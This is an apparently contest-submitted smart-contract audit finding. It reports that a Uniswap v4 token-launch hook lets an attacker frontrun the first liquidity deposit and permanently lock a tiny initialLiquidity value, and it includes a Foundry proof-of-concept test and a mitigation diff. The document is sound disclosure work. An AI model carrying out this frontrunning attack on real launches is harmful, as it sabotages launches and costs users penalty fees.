Vanguard

First Flight #56
Beginner FriendlyDeFiFoundry
0 EXP
Submission Details
Impact: high
Likelihood: medium

Attacker can frontrun initial liquidity to permanently set `TokenLaunchHook::initialLiquidity` to malicious value

Author Revealed upon completion

Attacker can frontrun initial liquidity to permanently set TokenLaunchHook::initialLiquidity to malicious value

Description

The initialLiquidity value is read from the pool's current liquidity either in TokenLaunchHook::_afterInitialize or on the first swap in TokenLaunchHook::_beforeSwap. Since pool initialization and adding liquidity are separate transactions, an attacker can frontrun the legitimate liquidity provider to manipulate TokenLaunchHook::initialLiquidity.

function _afterInitialize(address, PoolKey calldata key, uint160, int24) internal override returns (bytes4) {
if (!key.fee.isDynamicFee()) {
revert MustUseDynamicFee();
}
launchStartBlock = block.number;
@> uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
@> initialLiquidity = uint256(liquidity); // 0 at initialization time
currentPhase = 1;
lastPhaseUpdateBlock = block.number;
return BaseHook.afterInitialize.selector;
}
function _beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal
override
returns (bytes4, BeforeSwapDelta, uint24)
{
if (launchStartBlock == 0) revert PoolNotInitialized();
@> if (initialLiquidity == 0) {
@> uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
@> initialLiquidity = uint256(liquidity); // Set permanently on first swap
}
// ...
@> uint256 maxSwapAmount = (initialLiquidity * phaseLimitBps) / 10000;
// ...
}

Attack scenario:

  1. Pool is initialized → initialLiquidity = 0 (no liquidity exists yet)

  2. Legitimate LP broadcasts transaction to add 100 ETH liquidity

  3. Attacker sees this in mempool and frontruns with:

    • Add 0.0001 ETH of liquidity

    • Execute a swap (triggering _beforeSwap)

  4. initialLiquidity is permanently set to the tiny amount (0.0001 ETH worth)

  5. Legitimate LP's 100 ETH liquidity is added, but initialLiquidity doesn't change

  6. maxSwapAmount = (0.0001 ETH * 100) / 10000 = 0.000001 ETH

  7. Every user's swap exceeds the limit and pays penalty fees

Risk

Likelihood:

  • Pool initialization and liquidity addition are always separate transactions

  • This attack is very easy for a searcher to execute

  • The attack is profitable: attacker can grief the launch and add liquidity to extract from the increased penalty fees

Impact:

  • initialLiquidity is permanently locked to attacker-set value

  • If set too low: all swaps pay penalty fees, legitimate users are griefed

  • If set too high: limits are ineffective, anti-bot protection is weakened

  • The token launch is sabotaged with no way to fix (value is not updateable)

Proof of Concept

  1. Someone initializes a new pool

  2. An attacker sees this in the mempool

  3. The attacker front-runs the deployer in adding liquidity and executing a swap

  4. The initialLiquidity storage variable in the TokenLaunchHook is now permanently set to the liquidity added by the attacker

Add the following test to TokenLaunchHookUnit.t.sol:

function test_FrontrunInitialLiquidity() public {
// Deploy a fresh hook for this test
bytes memory creationCode = type(TokenLaunchHook).creationCode;
bytes memory constructorArgs = abi.encode(
manager, phase1Duration, phase2Duration, phase1LimitBps, phase2LimitBps,
phase1Cooldown, phase2Cooldown, phase1PenaltyBps, phase2PenaltyBps
);
uint160 flags = uint160(Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG);
(address hookAddress, bytes32 salt) = HookMiner.find(address(this), flags, creationCode, constructorArgs);
TokenLaunchHook freshHook = new TokenLaunchHook{salt: salt}(
manager, phase1Duration, phase2Duration, phase1LimitBps, phase2LimitBps,
phase1Cooldown, phase2Cooldown, phase1PenaltyBps, phase2PenaltyBps
);
// Initialize pool - initialLiquidity is 0 at this point
(PoolKey memory freshKey,) = initPool(
ethCurrency, tokenCurrency, freshHook, LPFeeLibrary.DYNAMIC_FEE_FLAG, SQRT_PRICE_1_1_s
);
assertEq(freshHook.initialLiquidity(), 0, "Initial liquidity is 0 after init");
// ATTACKER frontruns: adds tiny liquidity
uint256 tinyLiquidity = 0.0001 ether;
uint160 sqrtPriceAtTickUpper = TickMath.getSqrtPriceAtTick(60);
uint128 tinyLiquidityDelta = LiquidityAmounts.getLiquidityForAmount0(
SQRT_PRICE_1_1, sqrtPriceAtTickUpper, tinyLiquidity
);
modifyLiquidityRouter.modifyLiquidity{value: tinyLiquidity}(
freshKey,
ModifyLiquidityParams({
tickLower: -60,
tickUpper: 60,
liquidityDelta: int256(uint256(tinyLiquidityDelta)),
salt: bytes32(0)
}),
ZERO_BYTES
);
// ATTACKER: triggers swap to lock initialLiquidity
SwapParams memory params = SwapParams({
zeroForOne: true,
amountSpecified: -int256(0.00001 ether),
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
PoolSwapTest.TestSettings memory testSettings =
PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false});
vm.deal(user1, 1 ether);
vm.prank(user1);
swapRouter.swap{value: 0.00001 ether}(freshKey, params, testSettings, ZERO_BYTES);
// initialLiquidity is now locked to tiny value
uint256 lockedLiquidity = freshHook.initialLiquidity();
console.log("Locked initialLiquidity:", lockedLiquidity);
address poolDeployer = makeAddr("poolDeployer");
// LEGITIMATE LP adds real liquidity after attacker
uint256 realLiquidity = 100 ether;
uint128 realLiquidityDelta = LiquidityAmounts.getLiquidityForAmount0(
SQRT_PRICE_1_1, sqrtPriceAtTickUpper, realLiquidity
);
// Give poolDeployer enough ETH and tokens
vm.deal(poolDeployer, 200 ether);
token.mint(poolDeployer, 200 ether);
vm.startPrank(poolDeployer);
token.approve(address(modifyLiquidityRouter), type(uint256).max);
modifyLiquidityRouter.modifyLiquidity{value: 200 ether}(
freshKey,
ModifyLiquidityParams({
tickLower: -60,
tickUpper: 60,
liquidityDelta: int256(uint256(realLiquidityDelta)),
salt: bytes32(0)
}),
ZERO_BYTES
);
vm.stopPrank();
// initialLiquidity is STILL the tiny value - doesn't update
assertEq(freshHook.initialLiquidity(), lockedLiquidity, "initialLiquidity unchanged");
// maxSwapAmount is now tiny, all swaps will exceed limit
uint256 maxSwapAmount = (lockedLiquidity * phase1LimitBps) / 10000;
console.log("maxSwapAmount:", maxSwapAmount);
}

Recommended Mitigation

Consider requiring a minimum amount of liquidity before first the first swap

+ error InsufficientInitialLiquidity();
+ uint256 public constant MIN_INITIAL_LIQUIDITY = 100 ether;
function _beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal
override
returns (bytes4, BeforeSwapDelta, uint24)
{
if (launchStartBlock == 0) revert PoolNotInitialized();
if (initialLiquidity == 0) {
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
+ if (liquidity < MIN_INITIAL_LIQUIDITY) revert InsufficientInitialLiquidity();
initialLiquidity = uint256(liquidity);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!